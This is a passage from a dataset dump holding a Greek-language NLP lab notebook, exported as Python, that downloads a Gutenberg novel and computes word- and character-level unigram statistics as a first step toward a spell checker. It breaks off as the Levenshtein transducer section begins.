"7e0af427dc057257bd8f8d27d1aa4767d6b090cb", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Pandas/Pandas09_TimeSeries.py", "max_forks_repo_name": "anliven/Hello-Data", "max_forks_repo_head_hexsha": "7e0af427dc057257bd8f8d27d1aa4767d6b090cb", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.5769230769, "max_line_length": 100, "alphanum_fraction": 0.6808510638, "include": true, "reason": "import numpy", "num_tokens": 398, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3849121585956185, "lm_q2_score": 0.14804719427274568, "lm_q1q2_score": 0.05698516512154743}}
{"text": "\n# coding: utf-8\n\n# # 1\u03b7 \u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03b7\u03c1\u03b9\u03b1\u03ba\u03ae \u03ac\u03c3\u03ba\u03b7\u03c3\u03b7: \u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c4\u03b9\u03c2 \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03ad\u03c2 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2\n\n# <h2><center> \u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae </center></h2>\n\n# __\u03a3\u03ba\u03bf\u03c0\u03cc\u03c2__ \u03b1\u03c5\u03c4\u03bf\u03cd \u03c4\u03bf\u03c5 \u03bc\u03ad\u03c1\u03bf\u03c5\u03c2 \u03c4\u03b7\u03c2 1\u03b7\u03c2 \u03b5\u03c1\u03b3\u03b1\u03c3\u03c4\u03b7\u03c1\u03b9\u03b1\u03ba\u03ae\u03c2 \u03ac\u03c3\u03ba\u03b7\u03c3\u03b7\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03bd\u03b1 \u03b3\u03af\u03bd\u03b5\u03b9 \u03bc\u03b9\u03b1 \u03b5\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03b5 \u03b4\u03b9\u03b1\u03c6\u03bf\u03c1\u03b5\u03c4\u03b9\u03ba\u03ad\u03c2 \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03ad\u03c2 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03ba\u03b1\u03b9 \u03c4\u03b7 \u03c7\u03c1\u03ae\u03c3\u03b7 \u03c4\u03bf\u03c5\u03c2 \u03b3\u03b9\u03b1 \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03ac tasks. \u03a3\u03c4\u03bf \u03c0\u03c1\u03ce\u03c4\u03bf \u03bc\u03ad\u03c1\u03bf\u03c2 \u03b8\u03b1 \u03b5\u03bc\u03c0\u03bb\u03bf\u03c5\u03c4\u03af\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf\u03bd \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf \u03c0\u03bf\u03c5 \u03c6\u03c4\u03b9\u03ac\u03be\u03b1\u03bc\u03b5 \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03bc\u03b5 character level \u03ba\u03b1\u03b9 word level unigram \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03ac \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03b1. \u03a3\u03c4\u03bf \u03b4\u03b5\u03cd\u03c4\u03b5\u03c1\u03bf \u03bc\u03ad\u03c1\u03bf\u03c2 \u03b8\u03b1 \u03ba\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03bc\u03b9\u03b1 \u03b5\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c4\u03b9\u03c2 \u03bb\u03b5\u03be\u03b9\u03ba\u03ad\u03c2 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 bag-of-words \u03ba\u03b1\u03b9 word2vec \u03ba\u03b1\u03b9 \u03b8\u03b1 \u03c4\u03b9\u03c2 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c3\u03b5 \u03ad\u03bd\u03b1 \u03b1\u03c0\u03bb\u03cc \u03c0\u03c1\u03cc\u03b2\u03bb\u03b7\u03bc\u03b1 \u03c4\u03b1\u03be\u03b9\u03bd\u03cc\u03bc\u03b7\u03c3\u03b7\u03c2.\n\n# <h2><center> \u039c\u03ad\u03c1\u03bf\u03c2 1: \u039f\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c2 </h2></center>\n\n# \u0391\u03c1\u03c7\u03b9\u03ba\u03ac \u03ba\u03b1\u03c4\u03b5\u03b2\u03ac\u03b6\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf corpus \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5. \u0398\u03b1 \u03b1\u03c3\u03c7\u03bf\u03bb\u03b7\u03b8\u03bf\u03cd\u03bc\u03b5 \u03bc\u03b5 \u03c4\u03bf \u03b2\u03b9\u03b2\u03bb\u03af\u03bf __War of the Worlds__ \u03cc\u03c0\u03c9\u03c2 \u03ba\u03b1\u03b9 \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03ad\u03c4\u03c3\u03b9 \u03ce\u03c3\u03c4\u03b5 \u03bd\u03b1 \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03c3\u03c5\u03b3\u03ba\u03c1\u03af\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b1 \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03ad\u03c3\u03bc\u03b1\u03c4\u03b1 \u03c0\u03ac\u03bd\u03c9 \u03c3\u03c4\u03bf \u03af\u03b4\u03b9\u03bf corpus. \u039c\u03b5 \u03c4\u03b7\u03bd \u03c0\u03b1\u03c1\u03b1\u03ba\u03ac\u03c4\u03c9 \u03b5\u03bd\u03c4\u03bf\u03bb\u03ae, \u03bb\u03bf\u03b9\u03c0\u03cc\u03bd, \u03c4\u03bf \u03ba\u03b1\u03c4\u03b5\u03b2\u03ac\u03b6\u03bf\u03c5\u03bc\u03b5 \u03b1\u03c0\u03cc \u03c4\u03bf project Gutenberg \u03c3\u03b5 plain txt \u03bc\u03bf\u03c1\u03c6\u03ae \u03ba\u03b1\u03b9 \u03c4\u03bf \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03bf\u03c5\u03bc\u03b5 \u03bc\u03b5 \u03c4\u03bf \u03cc\u03bd\u03bf\u03bc\u03b1 __War.txt__.\n\n# In[1]:\n\n\nget_ipython().system(' wget  -c http://www.gutenberg.org/files/36/36-0.txt -O War.txt')\n\n\n# ### \u0392\u03ae\u03bc\u03b1 10: \u0395\u03be\u03b1\u03b3\u03c9\u03b3\u03ae \u03c3\u03c4\u03b1\u03c4\u03b9\u03c3\u03c4\u03b9\u03ba\u03ce\u03bd\n\n# \u03a3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 \u03b1\u03c5\u03c4\u03cc \u03b8\u03b1 \u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 2 \u03c0\u03b7\u03b3\u03ad\u03c2 \u03c3\u03c4\u03b1\u03c4\u03b9\u03c3\u03c4\u03b9\u03ba\u03ce\u03bd \u03b3\u03b9\u03b1 \u03c4\u03b1 \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03ac \u03bc\u03b1\u03c2 \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03b1, \u03bc\u03af\u03b1 __word/token level__ \u03ba\u03b1\u03b9 \u03bc\u03af\u03b1 __character level__.\n\n# \u0393\u03b9\u03b1 \u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 \u03b1\u03c5\u03c4\u03cc \u03b1\u03bb\u03bb\u03ac \u03ba\u03b1\u03b9 \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1 \u03c4\u03b7\u03c2 \u03ac\u03c3\u03ba\u03b7\u03c3\u03b7\u03c2 \u03b8\u03b1 \u03c7\u03c1\u03b5\u03b9\u03b1\u03c3\u03c4\u03bf\u03cd\u03bc\u03b5 \u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03b5\u03c2 \u03c3\u03c5\u03bd\u03b1\u03c1\u03c4\u03ae\u03c3\u03b5\u03b9\u03c2 \u03c0\u03bf\u03c5 \u03c5\u03bb\u03bf\u03c0\u03bf\u03b9\u03ae\u03b8\u03b7\u03ba\u03b1\u03bd \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03ba\u03b1\u03b9 \u03bc\u03b1\u03c2 \u03b2\u03bf\u03b7\u03b8\u03ac\u03bd\u03b5 \u03c3\u03c4\u03b7\u03bd \u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03c4\u03bf\u03c5 corpus. \u03a3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03b1 \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b9\u03c2 \u03b5\u03be\u03ae\u03c2 \u03c3\u03c5\u03bd\u03b1\u03c1\u03c4\u03ae\u03c3\u03b5\u03b9\u03c2 (\u03b7 \u03c0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae \u03c4\u03b7\u03c2 \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1\u03c2 \u03c4\u03bf\u03c5\u03c2 \u03b2\u03c1\u03af\u03c3\u03ba\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae):\n\n#  __1. identity_preprocess:__ \n\n# In[2]:\n\n\n# Gets a string as input and just returns the same string.\ndef identity_preprocess(string_var):\n    return string_var\n\n\n#  __2. read_path:__\n\n# In[3]:\n\n\n# Reads a file tokenizing each line.\ndef read_path(file_path, preprocess = identity_preprocess):\n    # Initilize the list of processed lines\n    processed_lines = []\n    # Open file to read mode\n    with open(file_path, \"r\") as f:\n        for line in f:\n            # Omit spaces\n            if not line.isspace():\n                processed_lines.extend(preprocess(line))\n    return processed_lines\n\n\n#  __3. tokenize:__\n\n# In[4]:\n\n\nimport string \n# Tokenize a sttring\ndef tokenize(s):\n    # Remove possible spaces from the start or the end of the string and\n    # turn all letters lowercase.\n    s = s.strip().lower()\n    # Remove all punctuations, symbols and numbers from the string leaving\n    # only lowercase alphabetical letters.\n    s = \"\".join((char for char in s if char not in string.punctuation and not char.isdigit()))\n    # Replace new line characters with spaces\n    s = s.replace('\\n',' ')\n    # Split the string in every space resulting in a list of tokens\n    res = s.split(\" \")\n    return res\n\n\n#  __4. get_tokens:__\n\n# In[5]:\n\n\n# Get all separate tokens from a file.\ndef get_tokens(file_path):\n    tokens = read_path(file_path, tokenize)\n    distinct_tokens = list(dict.fromkeys(tokens))\n    return distinct_tokens\n\n\n#  __5. get_alphabet:__\n\n# In[6]:\n\n\n# Get the alphabet of a file given its tokens.\ndef get_alphabet(tokens):\n    alphabet = []\n    for token in tokens:\n        alphabet.extend(list(token))\n    alphabet = list(dict.fromkeys(alphabet))\n    return alphabet\n\n\n# \u03a4\u03ce\u03c1\u03b1, \u03bb\u03bf\u03b9\u03c0\u03cc\u03bd, \u03c0\u03bf\u03c5 \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03bf\u03c1\u03af\u03c3\u03b5\u03b9 \u03c4\u03b9\u03c2 \u03c3\u03c5\u03bd\u03b1\u03c1\u03c4\u03ae\u03c3\u03b5\u03b9\u03c2 \u03c0\u03bf\u03c5 \u03c7\u03c1\u03b5\u03b9\u03b1\u03b6\u03cc\u03bc\u03b1\u03c3\u03c4\u03b5 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c0\u03b1\u03c1\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03c3\u03c5\u03bd\u03b5\u03c7\u03af\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ba\u03b1\u03bd\u03bf\u03bd\u03b9\u03ba\u03ac \u03c3\u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 10.\n\n# __\u03b1) token level:__ \u03a0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b5\u03be\u03ac\u03b3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7\u03c2 \u03ba\u03ac\u03b8\u03b5 token (\u03bb\u03ad\u03be\u03b7\u03c2) \u03c4\u03bf\u03c5 \u03b2\u03b9\u03b2\u03bb\u03af\u03bf\u03c5 \u03ba\u03b1\u03b9 \u03bd\u03b1 \u03c4\u03b7\u03bd \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c3\u03b5 \u03ad\u03bd\u03b1 \u03bb\u03b5\u03be\u03b9\u03ba\u03cc \u03bc\u03b5 __key \u03c4\u03bf token \u03ba\u03b1\u03b9 value \u03c4\u03b7\u03bd \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03ae\u03c2 \u03c4\u03bf\u03c5__. \n\n# __\u0394\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1: __\n# - \u0398\u03b1 \u03c6\u03c4\u03b9\u03ac\u03be\u03bf\u03c5\u03bc\u03b5 \u03bc\u03af\u03b1 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03b8\u03b1 \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03cc\u03c1\u03b9\u03c3\u03bc\u03b1 \u03c4\u03bf path \u03c4\u03bf\u03c5 corpus \u03ba\u03b1\u03b9 \u03b8\u03b1 \u03b5\u03c0\u03b9\u03c3\u03c4\u03c1\u03ad\u03c6\u03b5\u03b9 \u03c4\u03bf \u03b6\u03b7\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03cc. \u0391\u03c1\u03c7\u03b9\u03ba\u03ac, \u03b8\u03b1 \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03b5\u03b9 \u03c3\u03b5 \u03bc\u03af\u03b1 \u03bb\u03af\u03c3\u03c4\u03b1 \u03cc\u03bb\u03b1 \u03c4\u03b1 tokens \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ce\u03bd\u03c4\u03b1\u03c2 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 get_tokens \u03ba\u03b1\u03b9 \u03b8\u03b1 \u03b1\u03c1\u03c7\u03b9\u03ba\u03bf\u03c0\u03bf\u03b9\u03b5\u03af \u03c4\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03cc \u03bc\u03b1\u03c2 \u03bc\u03b5 \u03b1\u03c5\u03c4\u03ac \u03c4\u03b1 tokens \u03c9\u03c2 keys \u03ba\u03b1\u03b9 \u03bc\u03b5 value \u03af\u03c3\u03bf \u03bc\u03b5 0. \u03a3\u03c4\u03b7 \u03c3\u03c5\u03bd\u03ad\u03c7\u03b5\u03b9\u03b1, \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7 \u03c4\u03bf\u03c5 corpus \u03b8\u03b1 \u03b1\u03c5\u03be\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03b1\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03bf value \u03c3\u03c4\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03cc \u03bc\u03b1\u03c2. \u0388\u03c4\u03c3\u03b9 \u03b1\u03c6\u03bf\u03cd \u03b4\u03b9\u03b1\u03b9\u03c1\u03ad\u03c3\u03bf\u03c5\u03bc\u03b5 \u03ba\u03b1\u03b9 \u03ba\u03ac\u03b8\u03b5 value \u03bc\u03b5 \u03c4\u03bf\u03bd \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc \u03cc\u03bb\u03c9\u03bd \u03c4\u03c9\u03bd \u03bb\u03ad\u03be\u03b5\u03c9\u03bd \u03c4\u03bf\u03c5 \u03b2\u03b9\u03b2\u03bb\u03af\u03bf\u03c5 (\u03b3\u03b9\u03b1 \u03bd\u03b1 \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03b1\u03c0\u03b5\u03af \u03c3\u03b5 \u03bc\u03af\u03b1 \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1) \u03b8\u03b1 \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03ae\u03c3\u03b5\u03b9 \u03c4\u03bf \u03b6\u03b7\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03cc.\n\n# In[7]:\n\n\ndef token_level(path):\n    # Keys of the dictionary are all discrete tokens.\n    keys = get_tokens(path)\n    # Initialize the dictionary with the above keys and all values equal to 0.\n    dict_token = dict.fromkeys(keys, 0)\n    # Get a list with all the words containing in the corpus.\n    words = read_path(path, tokenize)\n    # For each word increase the value of the corresponding key.\n    for word in words:\n        dict_token[word] += 1\n    # Divide each value with the total number of words to get the probability of each key.\n    dict_token = {k: v / len(words) for k, v in dict_token.items()}\n    return dict_token\n\n\n# - \u039a\u03b1\u03bb\u03bf\u03cd\u03bc\u03b5 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 \u03c0\u03bf\u03c5 \u03bf\u03c1\u03af\u03c3\u03b1\u03bc\u03b5 \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03ba\u03b1\u03b9 \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03cc \u03bc\u03b1\u03c2 \u03c9\u03c2 __dict_token__.\n\n# In[8]:\n\n\n# Get the dictionary of the frequency of each token.\ndict_token = token_level(\"War.txt\")\n\n\n# __\u03b2) character level:__  \u0395\u03b4\u03ce \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b5\u03be\u03ac\u03b3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03c4\u03bf\u03c5 corpus \u03ba\u03b1\u03b9, \u03b1\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03b1 \u03bc\u03b5 \u03c0\u03c1\u03b9\u03bd, \u03bd\u03b1 \u03c4\u03b7\u03bd \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c3\u03b5 \u03ad\u03bd\u03b1 \u03bb\u03b5\u03be\u03b9\u03ba\u03cc \u03bc\u03b5 key \u03c4\u03bf\u03bd \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03ba\u03b1\u03b9 value \u03c4\u03b7\u03bd \u03c0\u03b9\u03b8\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03ae\u03c2 \u03c4\u03bf\u03c5.\n\n# __\u0394\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1:__ \n# - \u0391\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03b1 \u03bb\u03bf\u03b9\u03c0\u03cc\u03bd \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03b8\u03b1 \u03c6\u03c4\u03b9\u03ac\u03be\u03bf\u03c5\u03bc\u03b5 \u03bc\u03af\u03b1 \u03c0\u03b1\u03c1\u03cc\u03bc\u03bf\u03b9\u03b1 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7, \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03b1\u03c5\u03c4\u03ae \u03c4\u03b7 \u03c6\u03bf\u03c1\u03ac \u03b8\u03b1 \u03ba\u03ac\u03bd\u03b5\u03b9 \u03c4\u03b7\u03bd \u03af\u03b4\u03b9\u03b1 \u03b4\u03b9\u03b1\u03b4\u03b9\u03ba\u03b1\u03c3\u03af\u03b1 \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03c4\u03bf\u03c5 corpus \u03b1\u03bd\u03c4\u03af \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7. \u0395\u03b4\u03ce \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03b7\u03b8\u03b5\u03af \u03b7 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 get_alphabet \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03b8\u03b1 \u03bc\u03b1\u03c2 \u03b4\u03ce\u03c3\u03b5\u03b9 \u03c4\u03b1 keys \u03c4\u03bf\u03c5 \u03bb\u03b5\u03be\u03b9\u03ba\u03bf\u03cd \u03bc\u03b1\u03c2. \u03a4\u03b1 values \u03b8\u03b1 \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03b9\u03c3\u03c4\u03bf\u03cd\u03bd \u03b4\u03b9\u03b1\u03c4\u03c1\u03ad\u03c7\u03bf\u03bd\u03c4\u03b1\u03c2 \u03bc\u03af\u03b1 \u03c6\u03bf\u03c1\u03ac \u03cc\u03bb\u03b1 \u03c4\u03bf \u03b2\u03b9\u03b2\u03bb\u03af\u03bf \u03ba\u03b1\u03b9 \u03b1\u03c5\u03be\u03ac\u03bd\u03bf\u03bd\u03c4\u03b1\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03c6\u03bf\u03c1\u03ac \u03ba\u03b1\u03c4\u03ac 1 \u03c4\u03bf value \u03c4\u03bf\u03c5 \u03c0\u03bf\u03c5 \u03b1\u03bd\u03c4\u03b9\u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af \u03c3\u03c4\u03bf\u03bd \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03c0\u03bf\u03c5 \u03c3\u03c5\u03bd\u03b1\u03bd\u03c4\u03ac\u03bc\u03b5. \u03a4\u03ad\u03bb\u03bf\u03c2, \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b4\u03b9\u03b1\u03b9\u03c1\u03ad\u03c3\u03bf\u03c5\u03bc\u03b5 \u03bc\u03b5 \u03cc\u03bb\u03bf\u03c5\u03c2 \u03c4\u03bf\u03c5\u03c2 \u03b5\u03bc\u03c6\u03b1\u03bd\u03b9\u03b6\u03cc\u03bc\u03b5\u03bd\u03bf\u03c5\u03c2 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b5\u03c2.\n\n# In[9]:\n\n\ndef character_level(path):\n    # Keys of the dictionary are the alphabet of the corpus.\n    keys = get_alphabet(get_tokens(path))\n    # Initialize the dictionary with the above keys and all values equal to 0.\n    dict_character = dict.fromkeys(keys, 0)\n    # Get a list with all the words containing in the corpus.\n    words = read_path(path, tokenize)\n    # Counter that will keep track of all the characters in the corpus.\n    total = 0\n    # For each letter of each word increase the corresponding value.\n    for word in words:\n        for char in list(word):\n            total += 1\n            dict_character[char] += 1\n    # Divide each value with the total number of characters to get the probability of each key.\n    dict_character = {k: v / total for k, v in dict_character.items()}\n    return dict_character\n\n\n# \u039a\u03b1\u03bb\u03bf\u03cd\u03bc\u03b5 \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 \u03c0\u03bf\u03c5 \u03bf\u03c1\u03af\u03c3\u03b1\u03bc\u03b5 \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03ba\u03b1\u03b9 \u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03cd\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03cc \u03bc\u03b1\u03c2 \u03c9\u03c2 __dict_character__.\n\n# In[10]:\n\n\ndict_character = character_level(\"War.txt\")\n\n\n# \u039f\u03bb\u03bf\u03ba\u03bb\u03b7\u03c1\u03ce\u03bd\u03bf\u03bd\u03c4\u03b1\u03c2, \u03bb\u03bf\u03b9\u03c0\u03cc\u03bd, \u03c4\u03bf \u03b2\u03ae\u03bc\u03b1 10 \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03b4\u03cd\u03bf \u03bb\u03b5\u03be\u03b9\u03ba\u03ac \u03c0\u03bf\u03c5 \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03bf\u03cd\u03bd \u03c4\u03b9\u03c2 \u03c0\u03b7\u03b3\u03ad\u03c2 \u03c3\u03c4\u03b1\u03c4\u03b9\u03c3\u03c4\u03b9\u03ba\u03ce\u03bd \u03b3\u03b9\u03b1 \u03c4\u03b1 \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03ac \u03bc\u03b1\u03c2 \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03b1, \u03ad\u03bd\u03b1 word/token level \u03ba\u03b1\u03b9 \u03ad\u03bd\u03b1 character level.\n\n# ### \u0392\u03ae\u03bc\u03b1 11: \u039a\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03ad\u03c9\u03bd FST\n\n# \u0393\u03b9\u03b1 \u03c4\u03b7 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 \u03c4\u03bf\u03c5 \u03bf\u03c1\u03b8\u03bf\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03bf\u03c0\u03b5\u03af\u03c2 \u03b2\u03b1\u03c3\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2 \u03c3\u03c4\u03b7\u03bd \u03b1\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 Levenshtein. \u0398\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 3 \u03c4\u03cd\u03c0\u03bf\u03c5\u03c2 \u03b1\u03c0\u03cc edits \u03ba\u03ac\u03b8\u03b5 \u03ad\u03bd\u03b1 \u03b1\u03c0\u03cc \u03c4\u03b1 \u03bf\u03c0\u03bf\u03af\u03b1 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03b7\u03c1\u03af\u03b6\u03b5\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03ad\u03bd\u03b1 